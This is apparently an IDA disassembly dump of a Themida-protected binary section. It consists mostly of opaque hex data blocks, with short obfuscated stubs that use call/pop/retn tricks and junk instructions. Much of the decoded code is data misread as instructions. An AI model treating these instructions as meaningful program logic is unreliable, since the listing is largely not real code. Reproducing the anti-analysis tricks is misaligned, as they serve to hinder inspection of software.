		dd 81042444h, 1D042444h, 40000000h, 1F35C350h, 0AB09475h
		dd 2B84343Eh, 3479858Bh, 85C707FAh, 7FA1AEDh, 0
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_62E163
; ---------------------------------------------------------------------------
		mov	bx, 0A428h
		and	edi, [ebx-52h]
		mov	al, ds:78F6BFAEh
		setalc


loc_62E163:				; CODE XREF: Themida_:0062E151j
		pop	ebx
		push	dword ptr [ebp+7FA28C5h]
		call	near ptr loc_62E181+1
		loope	near ptr dword_62DD0C+3ECh
		mov	ecx, 0BF82E93Eh
		cli
		out	65h, eax
		mov	dh, 0BFh
		mov	ss, word ptr [eax+1]
		push	0FFFFFFF0h
		stosd


loc_62E181:				; CODE XREF: Themida_:0062E16Ap
		push	1311858Bh
		cli
		pop	es
		pop	esi
		call	dword ptr [ebp+7FA177Dh]
		push	0
		push	edx
		call	sub_62E19A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_62E19A	proc near		; CODE XREF: Themida_:0062E192p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_62E19A	endp

; ---------------------------------------------------------------------------
		dw 7CF1h
		dd 6B157375h, 0E6822636h, 95FF006Ah, 7FA012Dh, 7AEBC08Bh
		dd 3728F4F0h, 4E1DF3A7h, 0D51AF76Fh, 48C53246h,	7202708Dh
		dd 0A248F4D0h, 627FBDCh, 27300955h, 0B0A6F665h,	7F75608Ch
		dd 6718BA9Eh, 138C91A2h, 0B95CB2B9h, 99B80E75h,	0BF31DA95h
		dd 0B4F3B093h, 704D50CAh, 7DC65942h, 4BACD548h,	0F9D61373h
		dd 0F6C979B0h, 428EC112h, 77E05557h, 6ED1ADD4h,	2840CE07h
		dd 5E7E2CF3h, 70C2F4Ch,	0FAA2864Ch, 0FCA3C9ECh,	0ABEDAE7Eh
		dd 0BE8D2D7h, 99000000h, 1293010Bh, 0F08CA09Ch,	0B70F8E9Dh
		dd 81665ED0h, 81B9B2E3h, 5F9EC6h, 959D8B00h, 0B907FA0Ah
		dd 503178D7h, 9EEAC181h, 9D2BAFCEh, 7FA21B1h, 0B70F3E8Bh
		dd 9FC781C3h, 0E95D6742h, 7, 0BD04B873h, 81CB6827h, 3565D3EFh
		dd 0EBB4537Bh, 8C78158h, 603EDEDAh, 0F2D2BA66h,	613EDF80h
		dd 68FFC57h, 2EE83F9h, 43E88166h, 234E4E9Fh, 0FA2BA59Dh
		dd 850F4907h, 11h, 0A3D7D1BAh, 17E94Bh,	0CFA30000h, 5F69075Fh
		dd 159D8BF1h, 0E907FA05h, 0FFFFFF98h, 25CB0F75h, 10E889h
		dd 788B0000h, 685C3395h, 0D2FF42A6h, 0D7B64D66h, 0B58BDC37h
		dd 7FA34C1h, 0BE95Fh, 63180000h, 0DC4C2564h, 0FAF8A8FDh
		dd 80C7818Ah, 8B00006Ch, 0FA03ADB5h, 1AEEBA07h,	0B50B0000h
		dd 7FA21E5h, 816637FFh,	5856ECD1h, 81CE8B66h, 0FB6066F0h
		dd 13E836h, 1BA30000h, 90F43875h, 0A4A2CDFh, 5A78EAA0h
		dd 0FD432BD7h, 0F68166F5h, 815BF7BDh, 798B20C0h, 7EC3814Fh
		dd 815B7566h, 24BD24C0h, 0F99D017Fh, 8907FA28h,	0D1816607h
		dd 0EF83AFA4h, 5E802h, 4D130000h, 0E9E97D01h, 13h, 0CB43B9E2h
		dd 896FC0C9h, 6FB615E4h, 0E0F926AFh, 5EE7F8ABh,	0B70F4F4Fh
		dd 1EA83CEh, 0FF7E850Fh, 830FFFFFh, 6, 25D98D89h, 8D8D07FAh
		dd 802C98Ah, 66F3BF0Fh,	895307BAh, 0FA27C18Dh, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0DDD9593Fh, 1E8FEB96h, 8B0F6EF4h, 2,	85C7DE8Ah, 7FA1C01h
		dd 7474h, 981B58Bh, 85C707FAh, 7FA1AEDh, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_62E413
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_62E413	proc near		; CODE XREF: Themida_:0062E40Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_62E413	endp

; ---------------------------------------------------------------------------
		db 0E4h
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA1855h]
		push	0
		push	edi
		call	sub_62E435
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_62E435	proc near		; CODE XREF: Themida_:0062E42Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_62E435	endp

; ---------------------------------------------------------------------------
		sub	dword ptr [edi+edx*2+177D95FFh], 6A07FAh
		push	ecx
		call	sub_62E459
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_62E459	proc near		; CODE XREF: Themida_:0062E451p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_62E459	endp

; ---------------------------------------------------------------------------
		db 0B0h, 28h, 43h
		dd 4F69D768h, 118B0Fh, 0CE90000h, 0E1000000h, 657A3ACEh
		dd 6DA10FABh, 6A731F43h, 2D95FF00h, 8B07FA01h, 0A83DEBC0h
		dd 0BB5C5462h, 1EF51E9Eh, 459A2E82h, 0F344357Eh, 24A24008h
		dd 0DA7DB862h, 0DBF86F09h, 433AC106h, 49B908C2h, 3811F865h
		dd 3CCE0B50h, 9AEE1CA1h, 6222C785h, 99B38AD6h, 900C0A8Eh
		dd 12E8h, 44A15400h, 0D287342Fh, 286E785Eh, 80D739E1h
		dd 2B68B082h, 0FA099995h, 5ABF5B07h, 81579538h,	7015C3h
		dd 0EE900h, 0E6AE0000h,	7A496487h, 5380C92h, 183FCECCh
		dd 1BDA68h, 2BDA8100h, 5904A08Dh, 17D1952Bh, 33FF07FAh
		dd 6860Fh, 0BD8B0000h, 7FA2BADh, 0D9B5015Eh, 8107FA17h
		dd 0D931DAC6h, 13BF6604h, 64C681C9h, 8075CAE3h,	0C68150C2h
		dd 22169772h, 48B0F53h,	66000000h, 5A05F9BAh, 0BA663389h
		dd 0EB83F4FEh, 850F4904h, 0Bh, 19E9h, 0F6247600h, 89F66F47h
		dd 0FA353DBDh, 0FFA0E907h, 614FFFFFh, 0DF3999C4h, 14E87F1Fh
		dd 11000000h, 47A61725h, 8E428F5Fh, 61C79BDh, 1ACE01CCh
		dd 0BE5A7736h, 2C2B9B0Ah, 4DB58B58h, 8107FA33h,	6680C0h
		dd 0A5B58900h, 0B907FA34h, 1984h, 91C957BFh, 0BE188B07h
		dd 1936356Ch, 0A43BF381h, 0BD0941ABh, 7FA34A5h,	0ADA7C381h
		dd 0BD2B320Ch, 7FA1E09h, 39F7F381h, 0BF666DFAh,	8F53C8E8h
		dd 0E883FC00h, 1E98104h, 0F000000h, 0FFFFC485h,	423FB6FFh
		dd 6A234ACh, 7AA27C24h,	2B3BB37Dh, 2181CA10h, 9083B42Ah
		dd 0DD6F3025h, 0A7863025h, 0E898F598h, 8D893022h, 848630ADh
		dd 5D8B8DA6h, 2E8637DFh, 90864BA1h, 3903F625h, 6A81CA30h
		dd 625F374Dh, 2DB2B1B3h, 0BAB43E62h, 5C4385DAh,	0A40B37DFh
		dd 97780A7Dh, 0B80DE0DAh, 31F7B5E3h, 0FAC837DFh, 9863021h
		dd 2CC4E765h, 66C2BB75h, 0A886BB21h, 0C8821461h, 578B85DAh
		dd 0A10B37DFh, 15780A7Dh, 0F10DE0DAh, 8486209Ch, 428ED925h
		dd 2E203025h, 90863EA0h, 818D7925h, 0DB76B52Ah,	1F6FCFDAh
		dd 84863025h, 7EC963B8h, 42838822h, 0C2793025h,	5A7D8DA8h
		dd 0C50B3827h, 2C84FBE7h, 22A3229Dh, 42491BA3h,	6A234ACh
		dd 7AA27C24h, 2B3BB37Dh, 2181CA10h, 9083B42Ah, 0DD6F3025h
		dd 0A7863025h, 0E983F598h, 0B9A4F305h, 22h, 7E8h, 0C73A4D00h
		dd 768E0D11h, 5A3CBB66h, 6840F5Eh, 89000000h, 0FA1B618Dh
		dd 0CCC68107h, 0B0000064h, 89FF2B32h, 0FA18C985h, 3734FF07h
		dd 0DE8h, 0E02D2700h, 0D61BEE5Fh, 31263751h, 858BE553h
		dd 7FA0421h, 0DEB45A58h, 0DA04EA81h, 8D8B505Bh,	7FA0525h
		dd 0B772C281h, 5B51330Ah, 0DD92F281h, 8D895535h, 7FA1C69h
		dd 0FD9D0952h, 8F07FA2Ah, 72BB3E04h, 6675A4CCh,	1E80C881h
		dd 8B03EF83h, 0FA066985h, 840F4F07h, 1,	0CCFF81FCh, 0FFFFF9Bh
		dd 0FFFF9085h, 0D98B52FFh, 0CE85Bh, 8F5F0000h, 79BD8E42h
		dd 1CC061Ch, 0B5891ACEh, 7FA25C1h, 79BA665Eh, 33C681FBh
		dd 0F000071h, 38Ah, 0D2B70F00h,	68h, 0F5BD2900h, 5907FA1Ah
		dd 0F5291DBBh, 0E3C8B5Fh, 81D98B66h, 5203F4EFh,	0F4E3816Bh
		dd 816F8238h, 0A40F9AC7h, 12E900h, 74F00000h, 0EBC69F19h
		dd 0B6BF89Fh, 0AA4C6BDBh, 75403175h, 24E3F781h,	0F52674Fh
		dd 689h, 85850B00h, 5A07FA07h, 0DA8B6657h, 800E048Fh, 858BEDE4h
		dd 7FA2DEDh, 0F04E983h,	683h, 59958B00h, 8107FA0Ch, 0FF8F74F9h
		dd 92850FFFh, 81FFFFFFh, 824F19E0h, 598D8D47h, 6A0802CEh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 4DCFC357h, 0DC088F05h, 0CD098859h, 0CE9B58Bh
		dd 858907FAh, 7FA2161h,	27C18D89h, 6A07FAh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0BEBFA6C3h
		dd 281957E6h, 0FD9D2BE2h, 0C707FA23h, 0FA1C0185h, 66D807h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 9D44374h, 0FEAA991h, 85C7C1BFh, 7FA1AEDh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_62E8E7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_62E8E7	proc near		; CODE XREF: Themida_:0062E8DFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_62E8E7	endp

; ---------------------------------------------------------------------------
		db 54h
		dd 0B3EC80D9h, 11BD9D8Bh, 816607FAh, 0FF71AAD8h, 0FA1735B5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 46D92011h, 0FF5F51CEh, 0FA177D95h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0BE660C0Dh, 6A56A5h,	12D95FFh, 0C08B07FAh, 0C7D32DEBh
		dd 0A9697910h, 34CAE0D2h, 3A693830h, 0E412EB5Bh, 0B40A86E4h
		dd 0ACD66C83h, 0D1A18BC2h, 0E6F0EF1Ah, 6A7D421h, 0F9C25AD5h
		dd 0E908DE84h, 16h, 2B50F051h, 4 dup(0)
		dd 0E4E90000h, 27000014h, 7B838FA9h, 1955AD57h,	767A8882h
		dd 135BA75Dh, 0CB7989BBh, 172DA9ABh, 37C903EBh,	182AA3CBh
		dd 39CB06EAh, 16C2FEC9h, 0C25B560Fh, 8E320E68h,	5B563B6Ah
		dd 583F94C2h, 24184A44h, 2D75CA5Eh, 9BFAAAC9h, 86722519h
		dd 2342A64Bh, 7CCA5D8Ch, 0CA669C27h, 70172DA6h,	6E68C09Ah
		dd 0F7EEDAD6h, 50CA5D8Bh, 4C705083h, 5D8C79A8h,	9601D2CAh
		dd 0CABE06AAh, 0EF9DDD18h, 0DC561A6Dh, 19D257E9h, 8C689A35h
		dd 8AE6D4C3h, 2E35A148h, 87C263D9h, 8F6B893Ah, 6E37BD47h
		dd 2E526E65h, 7460A4A0h, 8049AB65h, 0DCB84453h,	0D90D14C0h
		dd 5D66C263h, 31804E2Ah, 0CB64A09Ah, 0D8E201E5h, 663BC263h
		dd 0E34B535Dh, 5806D011h, 0DB64C89h, 0A030107Ah, 0D1B4117Dh
		dd 58A8EF12h, 0DD67707Dh, 7B458E17h, 0FD9DE033h, 0A6F15961h
		dd 7A5E42DEh, 0C263FA6Bh, 58A8EFC4h, 61FDC37Dh,	0A15B7770h
		dd 0BB976532h, 2A16EE10h, 63FAA7BEh, 0CDB300C2h, 2F040002h
		dd 851633B6h, 0AE687FDBh, 5DDDFCE9h, 0D52FD501h, 626D8BFCh
		dd 15BE448Dh, 0FB05CFABh, 5E0FFE8Ch, 71026FAFh,	139h, 1C26ABCFh
		dd 0AE12A96Bh, 5E241B4Ah, 385F74CAh, 7E768E48h,	0CBDAFEA2h
		dd 24CA5E23h, 0DEF8088Fh, 0AC48FAD3h, 0AC10B023h, 5E241948h
		dd 366172CAh, 1C20B2CEh, 33D2FCD8h, 0B58233Bh, 202D143h
		dd 2926C540h, 86724E72h, 0CA5DA75Fh, 47AD6776h,	286F447Eh
		dd 0C29E9E3Dh, 3D16EE16h, 0A7504F73h, 18A9CA5Dh, 0AC45916Fh
		dd 0A6BDE410h, 8D16CA5Dh, 5DA7445Bh, 0BF149DCAh, 2A399D01h
		dd 83CA5DA7h, 5A9692Eh,	0A7263DA9h, 327FCA5Dh, 0FC312065h
		dd 27830595h, 5DAFA4BBh, 0CCB4FDCAh, 2D06FE06h,	939D5Ah
		dd 5FFB0000h, 8A36CE48h, 5DAF475Eh, 0C013A0CAh,	6E12C5D7h
		dd 8A23E163h, 0DED3FBFDh, 1AB351F3h, 0C7A307A9h, 0DF06F20Ch
		dd 38CA5E23h, 0B4601C6Bh, 0EE063E98h, 0A4BE3265h, 0C1CA5E24h
		dd 0E814F02Ah, 189D57D1h, 33410ECDh, 0A0BF2387h, 0F9CA5E24h
		dd 0E306DFA8h, 948B3753h, 0ABCA5E24h, 4DE61E20h, 4D2B5C65h
		dd 5D847081h, 0B6CA5E24h, 0CADAD6EDh, 0E6A1D8B6h, 0FE00CB88h
		dd 1C26ABD5h, 3B1F1F6Bh, 0D8277092h, 73h, 8B851438h, 0E21AD939h
		dd 0D7AF2C0h, 606E1207h, 8720E4h, 0B71BD600h, 0CA5E24A8h
		dd 0E123B001h, 766D5935h, 0E1CA5E24h, 38BA7F01h, 0E0804237h
		dd 12854EF6h, 5D55455Eh, 0CD7760CAh, 7F804B27h,	77DD6368h
		dd 787C47ECh, 0B19E3DC4h, 0C82C902Ch, 0CA5D9499h, 2FB6E1F2h
		dd 82824CACh, 2FC763Eh,	0C0B88C9Fh, 2B733BD7h, 8A809153h
		dd 2123ADECh, 12AFE5B2h, 23E1636Eh, 3305FD8Ah, 7B48FAD3h
		dd 766D5935h, 0CFCA5E24h, 0AF557E02h, 0FAECD8E8h, 47D2584Eh
		dd 0F196A823h, 0A3A12D51h, 0F807DF31h, 854EF5C8h, 7B881F3Bh
		dd 63774857h, 0C310A1C2h, 651F6841h, 83A95B9h, 5D6A817Fh
		dd 0BE02D173h, 86110BA2h, 8E48240Ch, 2A99AB23h,	7F8C1B5Dh
		dd 3FF32A2Fh, 1BCD2CD9h, 0C2637D04h, 0A02C545Dh, 0F8CB64A0h
		dd 0F1F0D4B8h, 8C2637Ch, 0F4BD37F1h, 0EA9205CEh, 19D0864Eh
		dd 988C933Fh, 0DCE5C263h, 7749E4E8h, 63FF544Bh,	0AF24ADC2h
		dd 0C018A2E8h, 1FC3ED17h, 0C263FF00h, 357B4859h, 2BD9F559h
		dd 0E19700C9h, 0CA5E1D0Bh, 0C1ED00D0h, 0B04CF264h, 61C7DBE7h
		dd 0FE65461Dh, 32C80967h, 5B7763A1h, 5A7763A1h,	16CF64A0h
		dd 0BE6276D3h, 44EFF6E2h, 7B48BA69h, 0AA9A510Ch, 0C7397C1Ah
		dd 0A9EE0B0Ah, 58734057h, 4E854EA6h, 98B4FCC4h,	203FA344h
		dd 79BA6A0Ah, 7C699C28h, 0E9DA6A64h, 7E4B629Eh,	9E22B153h
		dd 0A6F12BC2h, 0B01E42DEh, 0D9D77094h, 6A13F6EDh, 15824FBAh
		dd 6A14545Bh, 7D874BBAh, 7B705B77h, 7C55AF51h, 0A83BAD47h
		dd 5B32431h, 0A88CABBDh, 693A253Ch, 9F357EBAh, 2B5CEA28h
		dd 630737B2h, 962FD56Fh, 0EBF80FF1h, 0BA460E2h,	3094F8B8h
		dd 0BA69E231h, 0C44E398Ah, 4CEAB4FCh, 0F1DB8909h, 0AE1276A6h
		dd 5E241B4Ah, 5F8672CAh, 0B8CA5E24h, 8DFAC7EBh,	20DDE175h
		dd 9821F1AAh, 12820AB9h, 24E0646Eh, 9480FC8Bh, 4217D30Ch
		dd 0C72B2544h, 0CA5D7498h, 0A4F3E0F1h, 4AAE1270h, 0CA5E241Bh
		dd 48385F74h, 8CB4208Dh, 0CCB8E068h, 9BE8076Fh,	39159B28h
		dd 0FB21669Ch, 0E3616E12h, 0F65A56B4h, 3A5A2DE7h, 0E3616E12h
		dd 0AE0F15F1h, 0B5E2C9B0h, 9564F1D0h, 4F87E308h, 0D415E2B5h
		dd 73000000h, 7B4AB17h,	0C40DC75Eh, 6E12C1D3h, 0F8DCE460h
		dd 0CA5E23E9h, 0E4267142h, 0D714F54h, 415344FEh, 1B4AAE12h
		dd 74CA5E24h, 2488385Fh, 59EBE488h, 0BFE6129Bh,	18CA5E23h
		dd 0A2C1258Bh, 0FBCA5E24h, 817E1A6h, 5FCA5E24h,	442CD6FBh
		dd 0B27B798Bh, 0B5CDD5E5h, 7B1BA61Eh, 8A84135Dh, 0CEF2E16Ah
		dd 1CB9E2F2h, 0B9971B74h, 5DBB302Fh, 0D6E589CAh, 0C40F985Ch
		dd 6E12C1D3h, 861FE55Fh, 535B3F01h, 1EFB212h, 120295A0h
		dd 9391C212h, 0E3B5758Ch, 0FC35C4B4h, 37FD576Eh, 0B4FCC7A6h
		dd 5CDAADECh, 5542E274h, 646E123Fh, 0AD11B7E0h,	23BEE511h
		dd 8A17CA5Eh, 0AE1217FDh, 5E241B4Ah, 0A19B32CAh, 0C8E8CA63h
		dd 5E24051Ch, 7E555ECAh, 6DE619h, 12260000h, 204B79C2h
		dd 0E26B89B3h, 14D57AF2h, 0B2B77F83h, 2AD0C60Eh, 0F3C117D3h
		dd 6E1270A4h, 8A23E163h, 4F5F3BFDh, 4D16FD41h, 10E8AF1Dh
		dd 0CA5D3411h, 27CA0468h, 5D34A4BBh, 1FB4FDCAh,	9F21B278h
		dd 0C1B36C0Fh, 1C6B3C73h, 616E12F8h, 8404B4E3h,	0E2626E12h
		dd 0FA34C3B5h, 3399AB6h, 3D5F2801h, 1EA61Ah, 0CCC8538Fh
		dd 1221F3A4h, 62BD67C2h, 8611AF57h, 5FA55F7Ah, 13B97B3h
		dd 0B4AB1703h, 0DCA5D49h, 0F0880FC4h, 0CA61CA5Fh, 0EB09039Ah
		dd 6D3EC70Fh, 8E0680F1h, 39AD477Ch, 0C8222FAAh,	6BA53418h
		dd 9AAA411Ch, 0A0E71DB6h, 0E5CB7560h, 0FEE481DDh, 0F9D232D2h
		dd 5A019CBh, 1438F892h,	0E0698B85h, 0A40DC9B7h,	3FDB192Bh
		dd 58618C93h, 0E7DCE5CAh, 0CB8D4DCh, 0CA586115h, 0CA32656Eh
		dd 6B8AE6EEh, 0A64FB64Dh, 0E379FE1h, 81A6BA7h, 8381520Eh
		dd 6B82DE82h, 0D7A53B1h, 19A99950h, 7E6F1526h, 73851216h
		dd 0B707A95Bh, 2FF773F2h, 26E4B3DFh, 90630657h,	92365A05h
		dd 0CA583A93h, 0B64E84ECh, 0ABFD7A0Dh, 1B000000h, 1C6B953Fh
		dd 30C212F8h, 51B52BD2h, 0FCAB6E1h, 26AFCBF5h, 484FD81Ch
		dd 0C10AABCh, 349BA32Ch, 0A1A32D2Ch, 0CAF9CA63h, 96BCDEE6h
		dd 0BA60668Fh, 0FFCFEBCDh, 8EB59C40h, 0FE9AE8Bh, 0D2575FD5h
		dd 0B1BD12A2h, 0C2B57C18h, 0A6F113BEh, 0D1D0F49Ch, 2AC2633Dh
		dd 0EA862A99h, 17B054E8h, 0EBE81470h, 0CC7B351h, 0EDE612F2h
		dd 0E9008357h, 0F4F76E6Ch, 108D7C44h, 7E96301Ch, 0FFECE719h
		dd 9EE32AD3h, 2308B10Eh, 367124B0h, 626F4CB0h, 0A02B4F71h
		dd 6738678Bh, 4091C263h, 6D97193h, 1FFECFA1h, 0FC9601D2h
		dd 82BA1834h, 6E12FF15h, 0C9B7E064h, 3CC7F50Eh,	0D1D82B68h
		dd 0F6E2BE02h, 0CA5D6FEFh, 0D3497B48h, 8328BC94h, 7B35136h
		dd 0FB203FA3h, 1579CA5Dh, 5DFBB2B1h, 0DB60BCAh,	56B2887Ah
		dd 0B4FCC77Dh, 586574D8h, 6A43C17Bh, 0D8CA2E59h, 0B7D25829h
		dd 0FDD818EAh, 0C00CD9F0h, 80409340h, 0CDA9B81Ch, 0B102C263h
		dd 0CABA1EE6h, 0A346D637h, 0FEDA1A14h, 0CECF35EFh, 0A33714D7h
		dd 2C339FFBh, 853DF163h, 57924B3Ch, 0B84A83E7h,	1C26B1CFh
		dd 30AB0C94h, 767B2B1Ah, 0BA0A4A68h, 3E49DC3Fh,	0ACD0ECD4h
		dd 48E1231Dh, 0F1D681A0h, 37E5EC3Dh, 90AC3294h,	0B31FA132h
		dd 3DF202ACh, 0ADCBBC05h, 43ECD22h, 589C2700h, 0EDF4E0BCh
		dd 463DF201h, 62F80A7Dh, 0AA475759h, 0DE7B8FBBh, 94F8C8CFh
		dd 21E31DB8h, 2379FF88h, 845EBECh, 0AED96B64h, 1948AC14h
		dd 7035F7E8h, 0F7E85D84h, 0C5EDB635h, 0A65E74FCh, 190B931Dh
		dd 3B9286CDh, 82E22215h, 7C74A252h, 0DBBF7F0Bh,	0F7D2E8F7h
		dd 27704135h, 616E12F5h, 8495C5E4h, 20B34D35h, 463C4BE4h
		dd 0CBC46E72h, 5D97A923h, 0F00E00D4h, 0D714F84h, 0E7C044FEh
		dd 0C2127CA0h, 3C43CE48h, 0B54F3880h, 0DB696509h, 3CF2F1D5h
		dd 764BCA5Dh, 0AE120B11h, 5E241B4Ah, 0C20C74CAh, 0DAE9C242h
		dd 0EB00CBADh, 5E23D807h, 804D31CAh, 1AA98282h,	3FA307A9h
		dd 0CA5E2420h, 0B2B11579h, 0BCA5E24h, 9A7A0DB6h, 0FC92C212h
		dd 3350D68Dh, 5D69908Fh, 0EBD8E9CAh, 2E52EE9Ch,	21F3A4A0h
		dd 9579FEDFh, 2ACEF208h, 0C75E23FBh, 67187F54h,	98h, 52AA5C9h
		dd 5E23C2E1h, 3D861BC7h, 73A9EEB7h, 1B4AAE12h, 74CA5E24h
		dd 6E75615Fh, 0C7CA5E24h, 0E1758DFAh, 9119C0DDh, 0CAF9DEA1h
		dd 7224DEE6h, 0A7C223F7h, 0AE12BCE0h, 6FE06D2h,	8F965A2Dh
		dd 0E6CA5E24h, 40A44D8Ah, 0CA5E2421h, 0ED9A297Ah, 9DA7314Dh
		dd 9705CE57h, 3ACCC212h, 8A94A6C7h, 0FB5F3BFDh,	0FEC72DD7h
		dd 6E128399h, 8C25DF65h, 34EEFDFBh, 9DC4308Ch, 0F6CA5E24h
		dd 12BADAADh, 22E2626Eh, 324AFE89h, 64D1h, 27CBEF00h, 0CA5E23F8h
		dd 5178051h, 0B9F7FCDCh, 0E80C0695h, 1264385Fh,	5E23BFE6h
		dd 983A16CAh, 636F3364h, 895BDA9Eh, 427E5524h, 88FB51Eh
		dd 26AE1214h, 13FC7BB9h, 26F6A11Dh, 0D173C212h,	9001DE6Eh
		dd 15E2F907h, 5DC4B2B1h, 0C6DD09CAh, 1FCA5DC3h,	30A33092h
		dd 626E126Ch, 0AF0BB5E2h, 99FE00CBh, 0FE07D283h, 7AC1D12Eh
		dd 0D496731Dh, 507FA232h, 0CAA60AB9h, 5F7AF60Eh, 0C1C65FA5h
		dd 0DFF35743h, 55FE7225h, 0FACA6283h, 99932A46h, 0C47477EEh
		dd 0DD1711A8h, 9A354354h, 5283A969h, 16BB7134h,	3C99D7ECh
		dd 6E65EE06h, 0A59F2E52h, 0B49898F2h, 420BE91Bh, 99AB2355h
		dd 339BBF5Bh, 0DFF410BEh, 0F70EC8B8h, 9EDF27Ch,	0CA5980DAh
		dd 20369E33h, 2F91426Dh, 8282BC4Bh, 0F4333296h,	378CCA59h
		dd 5581FB8Ch, 4F2BC97Bh, 0C97B7983h, 0F9B29F3Ah, 4091F7C7h
		dd 52FBF016h, 60A4A02Eh, 0C625C0C7h, 48FCDA76h,	2FB123ACh
		dd 77524805h, 0A5314F38h, 777D874Ch, 51ED25AEh,	0F3A49E2Dh
		dd 91234312h, 4D791505h, 0CA597A56h, 27522AFh, 7Eh, 646E1202h
		dd 23FA29CDh, 7E53CA5Eh, 9B364255h, 88B3DD6Ah, 3A3651D0h
		dd 0C28B69A3h, 7CBAF11h, 0EF152FAAh, 0BE876D56h, 7F592BD9h
		dd 923EAB27h, 0AB99272h, 4E7261EAh, 0F99EA632h,	0EDD99B47h
		dd 0EA86D257h, 149D57EDh, 3B97B783h, 0D2EED201h, 63BEFF26h
		dd 254B58C2h, 93F196ACh, 679752D1h, 0AA547F6Ch,	6E52814Ah
		dd 5740C412h, 7F57F3BBh, 0E7DC6072h, 0BF061DC9h, 525FC263h
		dd 0C2124F45h, 7C733A78h, 916F1832h, 0ACF4BC46h, 0B2858056h
		dd 0F90F332Dh, 813F532Ch, 0DBB74552h, 11339BBFh, 978E5AF3h
		dd 0F0CA5E18h, 0CCEB4E3h, 3DC2C600h, 0BC580D47h, 0D95282D8h
		dd 0CC7460E1h, 9F349F28h, 4A597D21h, 61CA5D28h,	0DCE5CD77h
		dd 0ED073994h, 29853364h, 0EF1CA699h, 8C3851A4h, 33EDE87Eh
		dd 3CB4E324h, 0D2578F12h, 98C72B8Fh, 0AFC2632Bh, 4DE61E18h
		dd 8F2B5C65h, 4FD35243h, 8E452A71h, 85BF4E32h, 31E1A67Fh
		dd 656E1269h, 23F928CCh, 8152CA5Eh, 0B61AB252h,	0DD360178h
		dd 705B25AEh, 0EA9D36CEh, 0BC284018h, 0CA5DECA5h, 0A21EB5FEh
		dd 12F212BEh, 124E4E39h, 21E3616Eh, 9985FF88h, 0CE81AB5h
		dd 0D152D244h, 10C3A6EBh, 0C2129587h, 9A9E05A3h, 5D9BEC68h
		dd 0A19BD72h, 63CA5D92h, 1F3B854Eh, 0E36C88B2h,	0C212E0B4h
		dd 66937298h, 35D5C242h, 0B2B11579h, 1DCA5D46h,	99E81697h
		dd 2E833F4Eh, 6E123369h, 0BD478F62h, 0AD8C8106h, 9F089579h
		dd 23C8D7FBh, 9021C75Eh, 7A7807h, 0B4980000h, 0E2B2E51Fh
		dd 0E3616E12h, 863C8821h, 5C159582h, 58E02275h,	0BE05DF54h
		dd 0F8CB62B9h, 8282E8B8h, 1942F129h, 0E612AE6Eh, 0CA5E23BFh
		dd 64983A16h, 0C28007A0h, 0C112329Eh, 0D24C5BFFh, 6E12CFC5h
		dd 369BE55Fh, 0BDBD7B0Ch, 0DF656E12h, 0F831C8B8h, 41D6296h
		dd 1D7F54E0h, 8BA9C212h, 0ABAC6DA4h, 1294E4DCh,	0B6E1636Eh
		dd 8CC9h, 4B83E700h, 18DC6866h,	4153448Fh, 1B4AAE12h, 74CA5E24h
		dd 8652385Fh, 775B3F81h, 0CA5E2468h, 75A7F0C1h,	0E0646E12h
		dd 0C7398B24h, 0F72AD058h, 5A99700h, 1FC36C69h,	0CA5DC600h
		dd 797B4859h, 1211E7B0h, 69CA5DC6h, 0C682A145h,	0C7DBCA5Dh
		dd 61A199BCh, 5D2A9933h, 48C82D45h, 52CFCAF9h, 0B71B3F81h
		dd 0B9DE678Dh, 0D28A12E3h, 0DB0AEE3Bh, 34CA5E23h, 0F08C349Fh
		dd 682C5BE5h, 925F6E12h, 6B44C044h, 87811858h, 0DB3E46Dh
		dd 0EA07D28Dh, 5E23E7FEh, 607340CAh, 89983C60h,	0E0CA5E24h
		dd 5E23EDF4h, 357D46CAh, 35CF046Ch, 0A2FE9A62h,	5E242F36h
		dd 0ECE888CAh, 0AC17B054h, 0A57C15DBh, 1CB7CA62h, 983622E2h
		dd 1AC3886Ch, 0A85892BFh, 0EBEEA418h, 0E3B4B708h, 0FB5FDFFAh
		dd 1A6631D3h, 651C86BFh, 3C9B089Fh, 8D452987h, 2A014D77h
		dd 0E6D64CF2h, 0C20DF1A1h, 1B9AC92Dh, 0DFF3CA5Ah, 0F2E3D79h
		dd 419241D1h, 50F2DB7Fh, 0F99EA630h, 0E70BAF8Bh, 0CA5947B8h
		dd 17C0C011h, 0D2689AEDh, 4DA75D76h, 61714F84h,	9C7B30C2h
		dd 615F28E8h, 8AB0213Dh, 42B6E16Ah, 0D25406C8h,	0A45E79D5h
		dd 0B351F3DCh, 5CD6D1Ah, 9881C300h, 0F113BD4Eh,	1D21F1E2h
